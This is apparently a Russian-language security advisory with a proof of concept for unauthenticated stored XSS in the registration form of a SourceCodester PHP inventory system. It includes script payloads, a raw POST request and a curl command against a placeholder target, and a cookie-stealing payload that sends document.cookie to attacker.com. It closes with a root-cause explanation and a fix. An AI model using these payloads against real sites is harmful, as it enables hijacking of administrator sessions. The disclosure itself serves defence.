
Доказательство концепции для неаутентифицированного хранимого XSS в SourceCodester Inventory System, демонстрирующее перехват сессии администратора через специально созданные регистрационные нагрузки.
| Поле | Детали |
|---|
| Тип уязвимости | Хранимая межсайтовая (XSS) |
| Затронутое приложение | Система инвентаризации на PHP и MySQL |
| Поставщик | SourceCodester |
| Затронутая версия | 1.0 |
| Затронутый файл | register.php |
| Параметры | fullname, username |
| Требуется аутентификация | Нет (неаутентифицированный) |
| Влияние | Угон сессии администратора, выполнение вредоносного скрипта в панели администратора |
| Оценка CVSS | 8.8 (Высокий) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
Система инвентаризации на PHP и MySQL от SourceCodester (представлена 23 мая 2026 г.) уязвима для неаутентифицированной хранимой межсайтовой (XSS) в модуле регистрации сотрудников (register.php).
Поля ввода fullname и username не очищают и не кодируют вводимые пользователем данные перед сохранением в базе данных. Когда администратор посещает страницу Управление пользователями (users.php), неочищенные полезные нагрузки отображаются непосредственно в контексте HTML, что приводит к немедленному выполнению JavaScript в сессии браузера администратора.
Поскольку регистрация не требует аутентификации, удаленный неаутентифицированный злоумышленник может внедрить произвольный JavaScript, который будет выполняться в контексте любого администратора, просматривающего панель управления пользователями.
/product_inventory/register.php — вход не требуется.fullname и/или username./product_inventory/users.php, полезная нагрузка автоматически выполняется в браузере администратора.http://<TARGET>/product_inventory/register.php
Полезная нагрузка для поля Full Name:
<script>alert(1)</script>
Полезная нагрузка для поля Username:
<script>alert(2)</script>
Пароль: любое значение (например, test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
Эквивалент curl:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Войдите как администратор и перейдите по адресу:
http://<TARGET>/product_inventory/users.php
Обе полезные нагрузки выполняются немедленно при загрузке страницы.
Неаутентифицированный злоумышленник может:
Пример полезной нагрузки для кражи сессионных cookie (замените на сервер злоумышленника):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


Уязвимость существует, потому что register.php вставляет пользовательский ввод напрямую в базу данных без очистки, а users.php выводит сохраненные значения без кодирования htmlspecialchars().
Уязвимый паттерн в users.php (приблизительно):
// Небезопасно — выводит необработанное значение из базы данных напрямую в HTML
echo $row['fullname'];
echo $row['username'];
Исправление — применить кодирование вывода:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
Кроме того, ввод должен быть очищен при вставке в register.php с помощью strip_tags() или подготовленных запросов с надлежащей валидацией.
htmlspecialchars() с ENT_QUOTES перед отображением пользовательских данных в HTML.Сообщено Syed Imad Uddin Alvi — независимый исследователь безопасности